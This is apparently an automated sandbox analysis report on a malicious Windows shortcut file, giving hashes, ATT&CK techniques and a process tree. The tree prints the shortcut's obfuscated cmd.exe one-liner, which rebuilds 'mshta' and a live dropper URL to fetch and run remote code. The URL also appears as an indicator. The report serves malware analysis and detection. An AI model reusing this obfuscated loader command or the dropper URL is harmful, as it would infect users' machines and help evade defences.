0f27565e5e5a76fe89b190f9e787be61e90d6ccf126cc65cb7932e2f87273f66

Analysis

max time kernel
148s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:25

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General

Target
DOC-57P7FR.lnk
Size 2KB
Sample260804-kbr7lagb37
SHA256 0f27565e5e5a76fe89b190f9e787be61e90d6ccf126cc65cb7932e2f87273f66
MD5 a4f8cfa10d173f0244ef656ddbfa1e00
SHA1 84e91827fbc5d78a30cb21b35369d6217bf2604b
SHA512 7ca40ee2399c73c949984e87914a20c2e3d9d863a1121bed6b508e2c12c11d475dd52fa87b834479cf175b5c8f5ed99a65aed9e805db6ab49902308b36144e65
TLSH
T1794141503AE945E8F3FA8E72D9FE671155BBB8505E74C54E0880924C1823B02E5B7B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4204	cmd.exe
4920	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4204 wrote to memory of 4920	4204	cmd.exe	90
PID 4920 wrote to memory of 3456	4920	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-57P7FR.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4204
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set LZfFh=inftiwvzsxkeqbuzvovjehhcinf&set hnMk=netyxvmeknet&set ESoXR=infqjtcihegdyshvirmsainf&set Fx=5xms64z&&set qaEOK=iv6hps&&set HIPk=zytafh4&set ZQLb=4s4o&&set SheMf=1nwtartgwb&set PUdAF=cfgffojshmfokusxoemdjcfg&set prd=netugcqqalmqycchpmnet&set UU=infetfdrinf&&set Dk=https@:/@/[email protected]@/h/e@s@tag@io1.@ph@p@?r=3@914@6@9FB5D@82@DB&&start /b !Fx:~2,2!!qaEOK:~3,1!!HIPk:~2,2! !Dk:@=!&&set xxEw=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3456

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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